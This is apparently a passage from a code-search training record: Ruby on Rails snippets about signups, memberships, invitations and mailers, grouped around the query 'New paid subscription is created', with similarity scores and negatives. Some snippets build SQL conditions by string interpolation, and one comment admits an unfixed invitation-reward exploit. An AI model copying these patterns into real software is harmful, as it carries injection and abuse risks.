"def signup_newsletter\n pp params\n #return unless ENV['RAILS_ENV'] = \"production\"\n\n # need an API key too\n list_id_newsletter = ENV['MAILCHIMP_LIST_ID_NEWSLETTER']\n\n msg = nil\n status = nil\n\n begin\n Gibbon::Request.lists(list_id_newsletter)\n .members\n .create(\n body: {\n email_address: mailchimp_params[:email_address],\n status: STATUS_SUBSCRIBED,\n merge_fields: {\n FNAME: mailchimp_params[:first_name],\n },\n }\n )\n msg = \"All right! You are now subscribed.\"\n rescue Gibbon::MailChimpError => e\n msg = \"Good news! You are already subscribed.\"\n end\n\n render json: {message: msg}, status: 200\n end",
"def new_user_notification\n ModelMailer.new_user_notification\n end",
"def on_membership_change(opts={}, &blk)\n MembershipSubscription.new(self, opts, blk).tap do |ms|\n # the watch is registered in create!\n synchronize { @membership_subscriptions << ms }\n end\n end",
"def set_members\n members_ids = params[:message][:recipient_ids].reject(&:empty?)\n members_ids.each do |members_id|\n @message = current_user.messages.create(:conversation_id => members_id , :body => params[:message][:body])\n\n #send notification\n reciver = User.find(members_id)\n if reciver.notification_setting.try(:new_update)\n Notification.create(recepient_id: members_id, user: current_user, body: \"#{current_user.screen_name } has send a message #{@message.topic} \", notificable: @message, :accept => false)\n end\n end\n end",
"def notify_member_expire_7\n users, event = User.unpaid_membership_expires_in_7_days\n users.each do |user|\n UserMailer.deliver_membership_expires_in_7_days(user)\n User.add_email_event(user, event)\n end\n end",
"def create\n @membership = Membership.where(user_id: params[:membership][:user_id], group_id: params[:group_id]).first_or_create\n\n if params[:autoconfirm] || current_user.is_admin?\n @membership.update_attributes(level: Membership::LEVELS[:regular])\n else\n @membership.update_attributes(level: Membership::LEVELS[:pending])\n end\n\n @membership.perms[:screen] = params[:screen]\n @membership.perms[:feed] = params[:feed]\n\n auth!\n\n respond_to do |format|\n if @membership.save\n process_notification(@membership, {}, process_notification_options({\n params: {\n level: @membership.level_name,\n member_id: @membership.user.id,\n member_name: @membership.user.name,\n group_id: @membership.group.id,\n group_name: @membership.group.name\n },\n recipient: @membership.group}))\n if can? :update, @group\n format.html { redirect_to(manage_members_group_path(@group), notice: t(:membership_created)) }\n else\n format.html { redirect_to(group_path(@group), notice: t(:membership_applied_for)) }\n end\n format.xml { render xml: @group, status: :created, location: @group }\n else\n if can? :update, @group\n format.html { redirect_to manage_members_group_path(@group) }\n else\n format.html { redirect_to group_path(@group) }\n end\n format.xml { render xml: @membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_invite\n @notification = Notification.new(notification_params)\n @notification.notification_type = 'invite'\n\n if @notification.save\n flash[:success] = \"Invite sent!\"\n redirect_to band_url(params[:id])\n else\n render 'invite'\n end\n end",
"def send_on_create_confirmation_instructions\n end",
"def create\n @membership = Membership.new(params[:membership])\n @membership.user_id = current_user.id\n if @membership.save\n end\n end",
"def vendorNotificationsNew\n\t\t@vendor=current_vendor\n\t\t@notification = Notification.new\n\t\t@members=current_vendor.users.where(\"userApproved=1\").order('first_name ASC')\n\t\trender :layout=>'vendorprofile'\n\t\tend",
"def add_angel(user_id, anonymous)\n\n if anonymous == 1\n self.anon_angel = true\n else \n self.anon_angel = false\n end\n \n self.angel_id = user_id\n self.current_status = 5\n \n Status.create(:request_id => self.id, :status => 'Matched, initial') \n \n self.save\n Email.new.send_email(\"Angel Signup\", User.find(self.angel_id), self.id)\n\tend",
"def create\n _user_not_anonymous\n @user = CwaIpaUser.new\n @project = Project.find(Redmine::Cwa.project_id)\n\n if !params[:saa] \n flash[:error] = \"Please indicate that you accept the system access agreement\"\n redirect_to :action => :index\n return\n end\n\n if !params[:tos]\n flash[:error] = \"Please indicate that you accept the terms of service\"\n redirect_to :action => :index\n return\n end\n\n # TODO \n # 1. Call REST to messaging service to notify about account creation\n # 2. Add user to research-computing project\n @user.passwd = params['netid_password']\n\n begin\n @user.create\n rescue Exception => e\n flash[:error] = \"Registration failed: \" + e.to_s\n else\n logger.info \"Account #{@user.uid.first} provisioned in FreeIPA\"\n\n # Add them to the project... allows notifications\n @project.members << Member.new(:user => User.current, :roles => [Role.find_by_name(\"Watcher\")])\n\n CwaMailer.activation(@user).deliver\n\n flash[:notice] = 'You are now successfully registered!'\n end\n redirect_to :action => :index\n end",
"def create\n #sanity checks, can only modify memberships that you own\n if params[:user_id].to_i != current_user.id then\n render json: {message:'You do not own the membership list'}, :status => :unprocessable_entity\n return\n end\n\n #ensure the membership params is there\n unless params.has_key? :memberships then\n #render json: {message:'memberships list not found'}, :status => :unprocessable_entity\n #return\n #this could me no membership at all\n params[:memberships] = {}\n end\n\n #set the new memberships state\n current_user.set_memberships params[:memberships]\n\n render json: {\n message:'message received from server',\n memberships:User.find(params[:user_id]).memberships.map{ |x| x.attributes.merge({club_name: x.club_name})}\n }\n end",
"def send_on_create_confirmation_instructions\n end",
"def generate_membership\n Membership.create(taller_id: id, role_id: Role.propietario.id, usuario_id: owner_id, current: true)\n Role.administrador\n Role.operador\n Role.propietario\n end",
"def add_member(member)\n Rails.logger.info(\"------------adding #{member} to circle\")\n if !self.circle.users.include?( member )\n member.memberships.create(:circle => self.circle)\n UserMailer.notify_added_to_circle(self,member).deliver\n #send email\n else\n Rails.logger.info(\"--------------already a member!\") \n end\n end",
"def create\n unless current_user.nil?\n #mallissa:\n #@membership = Membership.new(membership_params)\n #@membership.user = current_user\n @membership = Membership.new params.require(:membership).permit(:beer_club_id)\n @membership.user = current_user\n @membership.confirmed = false\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership.beer_club, notice: \"You're application for #{@membership.beer_club.name} has been sent! Sit still and wait for confirmation.\" }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end \n else raise #kirjautumaton juuseri yrittää liittyä klubiin\n end \n end",
"def addmember(user)\n\t\t#generate random leid for mailchimp\n\t\tuser.euid = rand(1 .. 500000000).to_s\n\t\tuser.save\n\t\t#assuming LEID is our user id and EUID is mailchimp's unique one\n\t\t#taken from here https://bitbucket.org/mailchimp/mailchimp-api-ruby/\n\t\tsubscribers = [{ \"EMAIL\" => { \"email\" => user.email,\n \"LEID\" => user.id.to_s,\n \"EUID\" => user.euid\n },\n\n :EMAIL_TYPE => 'html',\n :merge_vars => { \"FNAME\" => user.first_name,\n \"LNAME\" => user.last_name,\n \"STATUS\" => \"Subscribed\"\n }\n }]\n\n #batch-subscribe(string apikey, string id, array batch, boolean double_optin, boolean update_existing, boolean replace_interests)\n \t@mc.lists.batch_subscribe(@mli, subscribers, false, true, false)\n\tend",
"def create\n @member = @current_user\n unless params[:organization][:id].blank?\n @organization = Organization.find(params[:organization][:id])\n else\n @organization = Organization.new(params[:organization])\n @phone = Phone.new(params[:phone])\n @phone.phonable_type = 'Organization'\n @phone.tag_for_phone = 'main'\n @organization.phones << @phone\n @organization.created_by = @member.id\n @organization.save!\n end\n exists = Affiliation.find(:first,\n :conditions => \"user_id = #{@current_user.id} and organization_id = #{@organization.id}\")\n if exists\n failure \"Request rejected. #{@current_user.name} already requested affiliation \" +\n \"with #{@organization.name}. You can check the status by asking in \" +\n \"<a href=\\\"http://foodmoves.campfirenow.com/e08e3\\\" \" +\n \"onclick=\\\"window.open(this.href,'Chat','width=650,height=1000');return false;\\\">chat</a>.\"\n else \n @affiliation = Affiliation.new(\n :user_id => @current_user.id,\n :organization_id => @organization.id)\n if @affiliation.save\n begin\n InvitationMailer::deliver_affiliation(@current_user, @organization)\n AdminMailer::deliver_affiliation(@current_user, @organization, @affiliation)\n rescue\n failure \"Affiliation entered but unable to send email notification.\"\n end\n flash[:notice] = \"Within the next business day, our support team will\n contact #{@organization.name} \n to verify that you are authorized to trade.\"\n chat_alert('team', \"#{@current_user.name} wants to get set up for trading\")\n else\n failure \"Unable to submit request for affiliation.\"\n end\n end\n unless @fail\n redirect_to member_url(@member)\n else\n flash[:error] = @err_msg \n redirect_to :back \n end\n end",
"def new_subscription(user, subscribable)\n @user = user \n @subscribable = subscribable \n\n mail to: user.email, subject: \"Subscribed to #{subscribable.name} Updates\"\n end",
"def created(member)\n @member = member\n\n if Rails.env.production?\n mail :to => member.user.email, \n :cc => 'info@marshallingdetachment.org', \n :subject => 'Detachment Membership Application Received'\n else\n mail :to => member.user.email, \n :subject => 'Detachment Membership Application Received'\n end\n end",
"def notify_administrators!\n AdminMailer.new_pending_interest_point(self).deliver!\n end",
"def new_admin_user\n user = User.take\n\n NotifierMailer.new_admin_user user.organizations.first.id, user.email\n end",
"def create\n super\n NotificationMailer.sign_up_notification(@user).deliver\n end",
"def after_create(user)\n #user.reset_perishable_token! # set the perishable token to some value\n #UserNotifier.deliver_signup_notification(user.email, user)\n end",
"def notify_admin_about_newbie(user)\n @user = user\n mail \n end",
"def signup_confirmation(member)\n @member = member\n\n mail to: member.email, subject: \"Welcome to the community!\"\n end",
"def create\n # You maybe want to log this notification\n notify = Paypal::Notification.new request.raw_post\n \n # Split the item_id\n account_id = notify.item_id\n \n @user = User.find account_id\n\n if notify.acknowledge\n # Make sure you received the expected payment!\n if notify.complete? and 9.99 == Decimal.new( params[:mc_gross] ) and notify.type == \"subscr_payment\"\n # All your bussiness logic goes here\n @user.premium = true\n @user.valid_till = Date.today + 1.month\n @user.save\n render :nothing => true\n end\n end\n end",
"def paid(id)\n\t\t@user = User.find(id)\t\n\t\t\tmail(\n\t\t :subject => 'New Sign Up' ,\n\t\t :to => 'patrick@relationally.net' ,\n\t\t :track_opens => 'true'\n\t\t\t)\n\tend",
"def created_memorial(memorial)\n @memorial = memorial\n mail to: \"yossishalem@gmail.com\", subject: 'NerEzion - new memorial'\n end",
"def signup_notification(user)\n\t\tsetup_email(user)\n\t\t subject self.site_name+\" : \"+I18n.t('mailer.signup_notification.subject')\n\t\t body :url => self.daurl+\"/admin/activate/#{user.activation_code}\",\n\t\t\t:site => self.site_name,\n\t\t\t:user_login => user.login,\n\t\t\t:user_password => user.password\n end",
"def create_membership\n member = Member.new(squad: @squad, user: current_user, membership: 'owner')\n member.save(validate: false)\n end",
"def signup_notification(user)\n setup_email(user)\n @subject += I18n.t 'mailer.signup.subject'\n \n @body[:url] = \"http://www.dripplet.com/#{user.locale}/activate/#{user.activation_code}\"\n \n end",
"def create\n @newsletter = Newsletter.new(newsletter_params)\n @newsletter.unmanager_id = current_user.id\n respond_to do |format|\n if @newsletter.save\n @newsletter.notify_admin\n format.html { redirect_to @newsletter, notice: 'Newsletter wird nun zur Prüfung freigegeben' }\n format.json { render :show, status: :created, location: @newsletter }\n else\n format.html { render :new }\n format.json { render json: @newsletter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_subscription(user_name, email, plan)\n @user_name = user_name\n @email = email\n @plan = plan\n\n mail to: \"Susie Ye <susie@baserails.com>\", subject: \"#{plan.capitalize} User: #{email}\"\n end",
"def create\n @user = current_user\n @membership_application = @user.build_membership_application(membership_application_params)\n @user.update_attribute(:guest, false)\n @user.update_attribute(:member, true)\n\n if @membership_application.membership == \"Gold\"\n @user.update_attribute(:shareholder, true)\n end\n\n respond_to do |format|\n if @membership_application.save\n format.html { redirect_to @membership_application, notice: 'Membership application was successfully created.' }\n format.json { render :show, status: :created, location: @membership_application }\n else\n format.html { render :new }\n format.json { render json: @membership_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def signup_email\n MnoEnterprise::SystemNotificationMailer.registration_instructions(params.require(:user).require(:email)).deliver_later\n\n head :no_content\n end",
"def profile_claim_notice(profile_claim)\n\t\t@profile_claim = profile_claim\n\t\tsubject = 'New profile claim has been submitted.'\n\t\tsendgrid_category subject\n\t\tsendgrid_unique_args profile_claim_id: profile_claim.to_param\n\t\tmail subject: subject\n\tend",
"def create\n if User.where(:email => params[:user][:email]).count.zero?\n @invited_user = User.invite!(params[:user], current_user)\n \n params[:freight_train] = true\n params[:ft] = {:partial => \"users/user\"}\n respond_with(@invited_user)\n else\n show_error \"That email address is already taken\"\n end\n end",
"def bonus_session_notification\n TutorMailer.bonus_session_notification\n end",
"def existing_user_invite\n InviteMailer.existing_user_invite(Invite.last)\n end",
"def notify\n @user = @organization.users.find(params[:uid])\n if @organization.invite_member(@user)\n flash[:notice] = \"Organization invite resent to #{@user.email}.\"\n else\n flash[:alert] = \"Organization invite failed to #{@user.email}.\"\n end\n redirect_to @organization\n end",
"def create\n forbidden unless current_account_user.createx_user\n \n sanitized_email = EmailSanitizer.saintize params[:account_user][:email]\n\n\n \n # if the account user alreaddy exists\n if AccountUser.where(email: sanitized_email, account_id: params[:account_user][:account_id]).first\n flash[:info] = \"User already a member\" \n else\n # validate the email, returns to the user if unapproved\n validate_email\n\n # set the acces\n set_access\n \n # get the user and send invitation\n invited_user = User.invite_to_account_by_email( \n sanitized_email, \n params[:account_user][:invitation_title], \n params[:account_user][:invitation_message], \n @account.id,\n current_user\n )\n \n # If there allready is an account user for the invited user\n if @account_user = AccountUser.where(user_id: invited_user.id, account_id: @account.id).first\n \n # make sure the role is set to account user\n params[:account_user][:role] = 'Account User'\n \n # update the account user\n @account_user.update_attributes!(account_user_params)\n \n # logg the activity\n @account_user.create_activity( :created, \n owner: current_user,\n recipient: @account_user,\n recipient_type: @account_user.class.name,\n account_id: @account.id)\n \n else\n # create new account user\n params[:account_user][:user_id] = invited_user.id\n params[:account_user][:role] = 'Account User'\n @account_user = AccountUser.create!(account_user_params)\n end\n \n #channel = 'digiramp_radio_' + current_user.email\n #Pusher.trigger(channel, 'digiramp_event', {\"title\" => 'User already a member', \n # \"message\" => \"#{params[:account_user][:email]} is already added\", \n # \"time\" => '7000', \n # \"sticky\" => 'false', \n # \"image\" => 'notice'\n # })\n # \n end\n # notice!\n # Permissions for the account user are copied to the catalog users\n # from the after_commit on the AccountUser#after_create => update_catalog_users\n #@account.count_users\n redirect_to account_account_account_users_path @account\n end",
"def create_notification; end",
"def create\n super\n # slack通知\n c = Payment.create_customer(resource.email, resource.name)\n resource.update(pay_customer_id: c.id)\n notifier = Slack::Notifier.new(Rails.application.config.slack_webhook_url)\n notifier.ping(\"新しく管理人が登録されました!\")\n end",
"def create\n @user = User.new(user_params) # Not the final implementation!\n if @user.save\n @user.send_activation_email\n \n if params[:user][:membership_level_id] == \"1\"\n flash[:info] = \"Please check your email to activate your account.\"\n redirect_to root_url\n elsif params[:user][:membership_level_id] == \"2\"\n redirect_to generate_url(\"https://techscreen-net.chargify.com/subscribe/g7zjvxxj/bronze\", \n {reference: \"4RKzhs3YJMNAAV2v7Zo\" + @user.id.to_s})\n elsif params[:user][:membership_level_id] == \"3\"\n redirect_to generate_url(\"https://techscreen-net.chargify.com/subscribe/vryykwj4/gold\", \n {reference: \"4RKzhs3YJMNAAV2v7Zo\" + @user.id.to_s})\n elsif params[:user][:membership_level_id] == \"4\"\n redirect_to generate_url(\"https://techscreen-net.chargify.com/subscribe/zhksdhbm/platinum\", \n {reference: \"4RKzhs3YJMNAAV2v7Zo\" + @user.id.to_s})\n end\n \n else\n render 'new'\n end\n end",
"def create\n @invitation = Invitation.new(params[:invitation])\n @invitation.ip_address = request.remote_ip.to_s\n @invitation.verify_email_sent_at = Time.zone.now\n\n if current_user # 2. person inviting family or friend\n @invitation.requestor_email = current_user.email\n else # 1. person inviting themselves (sign up)\n @invitation.requestor_email = params[:invitation][:email]\n end\n\n # what about the scenario where a user forgets that they already signed up?\n\n @known_user_being_invited = User.where(:email => params[:invitation][:email], :status => 'active').first\n if @known_user_being_invited\n @invitation.existing_user = 'true' \n else \n @invitation.existing_user = 'false'\n end\n\n # check for duplicate\n @duplicate = Invitation.where(:email => params[:invitation][:email], :requestor_email => @invitation.requestor_email).first\n if @duplicate\n @duplicate.request_count += 1\n @duplicate.save\n UserMailer.invitation_confirmation(current_user, @duplicate).deliver if @duplicate.request_count < 3\n redirect_to person_path(current_user.person.id), :notice => \"Duplicate Invite\"\n elsif @invitation.save\n # does the person being invited already exist in epet?\n #@invite_to_known_user = User.find_by_email(@invitation.email)\n #UserMailer.invitation_confirmation(current_user, @invitation, @invite_to_known_user).deliver\n Spawnling.new do\n UserMailer.invitation_confirmation(current_user, @invitation).deliver\n end\n if current_user\n redirect_to person_path(current_user.person.id), :notice => \"Invite sent.\"\n else\n redirect_to root_url, :notice => \"Check your email inbox for instructions\"\n end\n else\n render \"new\"\n end\n end",
"def send_on_create_confirmation_instructions\n self.devise_mailer.registration_notice(self).deliver_now\n end",
"def deliver_security_notification_create\n # only deliver if this isn't the only address.\n # in that case, the user is just being created and\n # should not receive this email.\n if user.mails != [address]\n deliver_security_notification(\n message: :mail_body_security_notification_add,\n field: :field_mail,\n value: address\n )\n end\n end",
"def add\n # for volunteer to sign up for a project\n # if volunteer signs up, a message or notification gets sent to the administrator\n end",
"def paid_signup(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Paid Signup Email')\n @user = user\n mail to: user.email, subject: \"You've Upgraded to our Business Pro plan!\"\n end",
"def new\n @user = User.new\n @user.email = @membership.recipient_email if @membership\n end",
"def invite\n \n end",
"def user_new(user)\n @user = user\n\n mail to: \"nandisuper2@gmail.com\" ,\n subject: \"New User Created!!\"\n end",
"def data_update_notification(user)\n @greeting = \"FREE PEPPERLUNCH@@!!!!!111111\"\n\n @lunch_count = user.lunches.count\n\n if @lunch_count > 15\n\n\n mail to: user.email\n end\nend",
"def after_create(user)\n if user.invited_by_id?\n invitation = Invitation.new(sender: user.invited_by, friend: user)\n invitation.accept!\n else\n # TODO There's a potential exploit here where someone creates 100 dummy accounts, invites one account and collects all the free time on that one account.\n Invitation.where(email: user.email).each do |invitation|\n invitation.friend = user\n invitation.accept!\n end\n end\n end",
"def invite\n Notifications.invite\n end",
"def create\n @invitation = Invitation.new(invitation_params)\n @invitation.sender = current_user\n\t path = request.host_with_port\n if @invitation.save\n if user_signed_in?\n Mailer.invite_friend(@invitation,current_user, path+new_user_registration_path(:invitation_token => @invitation.token)).deliver\n flash[:notice] = \"Thank you, invitation sent.\"\n redirect_to users_url\n else\n flash[:notice] = \"Thank you, we will notify when we are ready.\"\n redirect_to root_url\n end\n else\n render :action => 'new'\n end\n end",
"def singup (gym, cost)\n new_memebership = Membership.new(cost , self, gym)\n end",
"def sign_up_notification\n # @greeting = \"Hi\"\n\n # mail to: \"to@example.org\"\n # @admin = User.where(is_admin: true).last\n @user = params[:user]\n mail(to: @user.email, subject: 'Sign Up successfull')\n end",
"def new_caitredette_service_notice(req)\n @req = req\n mail(subject: \"[team] New Caitredette Service Request Received\")\n end",
"def verified\n UserNotifierMailer.verified\n end",
"def new_registration(account)\n @account = account\n mail subject: \"#{APP::NAME}: new registration\"\n end",
"def create\n @user = User.invite!(user_params, current_user)\n\n if @user.errors.present?\n respond_failure I18n.t('integral.backend.users.notification.creation_failure'), 'new'\n else\n respond_successfully I18n.t('integral.backend.users.notification.creation_success'), backend_user_path(@user)\n end\n end",
"def add_user_to_groups\n host_port = request.host_with_port\n @discussion_group = DiscussionGroup.find(params[:id])\n @non_site_user_emails = params[:add_user_to_groups][:email].split(',')\n if @non_site_user_emails.include?(@login_user.email)\n @notice = \"Can't sent a invitation to yourself.\"\n else\n @non_site_user_emails.each do |emails|\n nsu = NonSiteUser.new(:invitable_id=>@discussion_group.id, :invitable_type=>\"DiscussionGroup\", :invitation_type=>\"Added\", :email=> emails.gsub(/\\s+/, \"\"))\n @added = true if nsu.save\n end if @non_site_user_emails\n end\n @notice = @notice ? @notice : (@added ? \"User added successfully.\" : \"User is already added.\")\n respond_to do |format|\n format.js\n end\n end",
"def validate_membership\n errors.add(\"#{self.sadhak_profile.syid}\", \"is not active member to forum #{self.sy_club.name}.\") unless self.sy_club_member.approve?\n errors.empty?\n end",
"def notifications\n membership = current_account.memberships.find_by(\n :id => params[:membership][:id]) if params[:membership]\n\n if membership and membership.update_attributes(membership_params.except(:id))\n flash[:success] = _('Notifications updated.')\n end\n end",
"def create\n @ngo = Ngo.new(ngo_params ,active_ngo: false , wait_approve: true )\n\n respond_to do |format|\n if @ngo.save\n AdminMail.welcome_email(@ngo).deliver\n format.html { redirect_to @ngo, notice: 'Ngo was successfully created,Waiting admin approval' }\n format.json { render :show, status: :created, location: @ngo }\n @user= User.find( current_user.id )\n @user.update(ngo_id: @ngo.id )\n else\n format.html { render :new }\n format.json { render json: @ngo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_users_notification(teacher)\n\n last_notified = teacher.notified_on.nil? ? teacher.enrolled_on : teacher.notified_on\n\n named = User.where(teacher: teacher,role:'parent').where{enrolled_on > last_notified}.exclude(first_name: nil).all\n unnamed = User.where(teacher: teacher,role:'parent').where{enrolled_on > last_notified}.where(first_name: nil).all\n count = named.size + unnamed.size\n family = count > 1 ? 'families' : 'family'\n quicklink = teacher.quicklink\n\n\n if count == 0\n puts \"no new users signed up\"\n return\n end\n\n\n\n if named.size > 0\n if named.size == 1\n list_o_names = named.first.first_name\n list_o_names += \" #{named.first.last_name.to_s}\" if not named.first.last_name.nil?\n\n if unnamed.size > 0\n list_o_names += \" and #{unnamed.size} other#{unnamed.size > 1 ? 's' : ''}\"\n end\n\n elsif named.size == 2\n\n if unnamed.size > 0\n list_o_names = named.first.first_name\n list_o_names += \" #{named.first.last_name.to_s}\" if not named.first.last_name.nil?\n list_o_names += \", #{named.last.first_name}\"\n list_o_names += \" #{named.last.last_name.to_s}\" if not named.last.last_name.nil?\n list_o_names += \", and #{unnamed.size} other#{unnamed.size > 1 ? 's' : ''}\"\n else\n list_o_names = named.first.first_name\n list_o_names += \" #{named.first.last_name.to_s}\" if not named.first.last_name.nil?\n list_o_names += \" and #{named.last.first_name}\"\n list_o_names += \" #{named.last.last_name.to_s}\" if not named.last.last_name.nil?\n end\n\n else\n last_user = named.pop\n list_o_names = named.inject('') do |string, user|\n str = user.first_name.to_s\n str += \" #{user.last_name.to_s}\" if not user.last_name.nil?\n str += \", \"\n string += str\n end\n\n last_u_name = last_user.first_name\n last_u_name += \" #{last_user.last_name.to_s}\" if not last_user.last_name.nil?\n\n if unnamed.size > 0\n list_o_names += \"#{last_u_name}, and #{unnamed.size} other#{unnamed.size > 1 ? 's' : ''}\"\n else\n list_o_names += \"and #{last_u_name}\"\n end\n\n end\n else # we only have unnamed users...\n list_o_names = \"See who\"\n end # if named.size > 0\n\n puts \"sending email to #{teacher.signature}, #{teacher.email}, #{count}, #{family}, #{list_o_names}, #{quicklink}\"\n\n\n new_users_notification_helper(teacher.signature, teacher.email, count, family, list_o_names, quicklink)\n end",
"def new_notification\n mail(to: \"rhammett@ycp.edu\", subject: 'New Notification', sent_on: Time.now)\n end",
"def create\n x= current_user.id\n @user_profile = UserProfile.all.where(\"user_id = ?\",x)\n @user_profile =@user_profile[0]\n @pstaff = @user_profile.pstaffs.build(pstaff_params)\n\n respond_to do |format|\n if @pstaff.save\n x= true\n @id = User.all.where(\"phase1 = ?\",x)\n NotifyMailer.with(user: @id[0]).recive_email.deliver\n format.html { redirect_to @pstaff, notice: 'Pstaff was successfully created.' }\n format.json { render :user, status: :created, location: @pstaff }\n else\n format.html { render :new }\n format.json { render json: @pstaff.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.65898687",
"0.65527236",
"0.65236634",
"0.63877606",
"0.63744694",
"0.6345889",
"0.6345661",
"0.6344327",
"0.63308305",
"0.63035274",
"0.6296574",
"0.6282941",
"0.6268733",
"0.62682",
"0.62595916",
"0.6259286",
"0.62345225",
"0.6218828",
"0.6206919",
"0.6180948",
"0.6152884",
"0.6128299",
"0.61151874",
"0.61043715",
"0.6085716",
"0.6072766",
"0.6072766",
"0.60658526",
"0.6060232",
"0.6054746",
"0.6052209",
"0.60474867",
"0.60426104",
"0.6033728",
"0.60256",
"0.60116136",
"0.6005724",
"0.6004081",
"0.6003578",
"0.59988034",
"0.5995946",
"0.598766",
"0.5966456",
"0.596162",
"0.5961476",
"0.5953413",
"0.5949334",
"0.59475136",
"0.59474874",
"0.5928045",
"0.5926887",
"0.5923688",
"0.59224707",
"0.5912796",
"0.5907306",
"0.59024733",
"0.59017843",
"0.58969027",
"0.5892167",
"0.587702",
"0.58723265",
"0.5864889",
"0.5863313",
"0.58609396",
"0.58519226",
"0.58511686",
"0.5850111",
"0.5850037",
"0.58465344",
"0.5840668",
"0.5839676",
"0.5837475",
"0.582046",
"0.581739",
"0.5815297",
"0.58134216",
"0.58132964",
"0.5806736",
"0.5806509",
"0.5801173",
"0.57993376",
"0.5780992",
"0.5779699",
"0.5774753",
"0.5767668",
"0.57611126",
"0.5759499",
"0.5758558",
"0.5757464",
"0.57532835",
"0.5749741",
"0.57432854",
"0.5741217",
"0.57364476",
"0.57361585",
"0.5734672",
"0.5730528",
"0.5730497",
"0.5720927",
"0.5719689",
"0.57195336"
] |
0.0
|
-1
|
New paid subscription is created
|
def new_subscription(user_name, email, plan)
@user_name = user_name
@email = email
@plan = plan
mail to: "Susie Ye <susie@baserails.com>", subject: "#{plan.capitalize} User: #{email}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @subscription = Subscription.new(subscription_params)\n\n @subscription.sub_create(current_user,subscription_params[:stripe_plan_id],subscription_params[:coupon_code])\n\n # Create a subscription with the following information:\n #\n # 1) Customer Account\n # 2) Subscription Type (GOLD, Silver, etc.)\n # 3) Discount Coupom (if applicable)\n\n if @subscription.save\n redirect_to @subscription, notice: 'Subscription was successfully created.'\n else\n @verrors = @subscription.errors.full_messages\n render 'new'\n end\n end",
"def create\n subscription = @user.purchase_now(@gallery_item, @purchase_option)\n if subscription == true\n render json: { message: \"Subscribed successfully.\" } \n else\n render json: { message: \"Your can try this subscription after #{subscription}!\" }, status: 409 \n end\n end",
"def create_new_subscription\n @subscription_offers = Subscription.get_subscription_list\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: (I18n.t :subscription_created) }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @payment = Payment.new(payment_params.merge(subscription: @subscription))\n\n respond_to do |format|\n if @payment.save\n format.html { redirect_to admin_room_subscription_payment_path(id: @payment.id, subscription_id: @subscription.id), notice: t('.created') }\n format.json { render :show, status: :created }\n else\n format.html { render :new }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_stripe_subscription!\n Stripe::Subscription.create(\n customer: create_stripe_customer!,\n tax_percent: Price::DEFAULT_TAX_RATE,\n trial_from_plan: store.eligible_for_trial_subscription?,\n items: [\n {plan: stripe_plan_id},\n ],\n metadata: {store: store.name}\n )\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to thanks_path, notice: 'Subscription was successfully created.' }\n else\n format.html { redirect_to root_path }\n end\n end\n end",
"def create(params)\n params.merge!(\n :order_no => (Time.now.to_f * 10000).to_i.to_s, # Produce a unique order_no - it's not used anywhere, but ePay needs this\n :amount => 0\n )\n \n post = Api.default_post_for_params(params).merge({\n :subscription => 1,\n :subscriptionname => params[:description]\n })\n \n query = Api.authorize(post)\n \n if query['accept']\n # Return the new subscriber\n subscription = new(query[\"subscriptionid\"].to_i).reload\n \n # Set (obfuscated) card number:\n subscription.card_no = query[\"tcardno\"]\n \n subscription\n else\n new(nil, 'error' => query[\"error\"])\n end\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n\n respond_to do |format|\n if @subscription.save\n record_activity :create, @subscription\n format.html { redirect_to edit_subscription_path(@subscription),\n notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = @target.create_subscription(subscription_params)\n return_back_or_ajax\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n\n respond_to do |format|\n\t\n if @subscription.valid? && @subscription.save\n\t SubscriptionMailer.delay.send_welcome(@subscription)\n\t \n format.html { redirect_to \"/subscriptions/done\", notice: 'Twoj adres zostal dodany do listy mailingowej' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n\n if params.has_key?(:new_service_id)\n service = Service.find(params[:new_service_id])\n unless service.nil?\n @subscription.service_id = service.id\n @subscription.costs = service.costs\n @subscription.user_id = current_user.id\n end\n end\n\n respond_to do |format|\n if @subscription.save\n flash[:success] = \"Subscription was successfully created.\"\n format.html { redirect_to @subscription }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n unless service.nil?\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n else\n flash[:error] = \"Subscription was not successful.\"\n format.html redirect_to services_path\n end\n end\n end\n end",
"def create\n @premium_subscription = PremiumSubscription.new(premium_subscription_params)\n\n respond_to do |format|\n if @premium_subscription.save\n format.html { redirect_to @premium_subscription, notice: 'Premium subscription was successfully created.' }\n format.json { render :show, status: :created, location: @premium_subscription }\n else\n format.html { render :new }\n format.json { render json: @premium_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to root_url, notice: 'Subscription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subscription }\n else\n format.html { render action: 'new' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
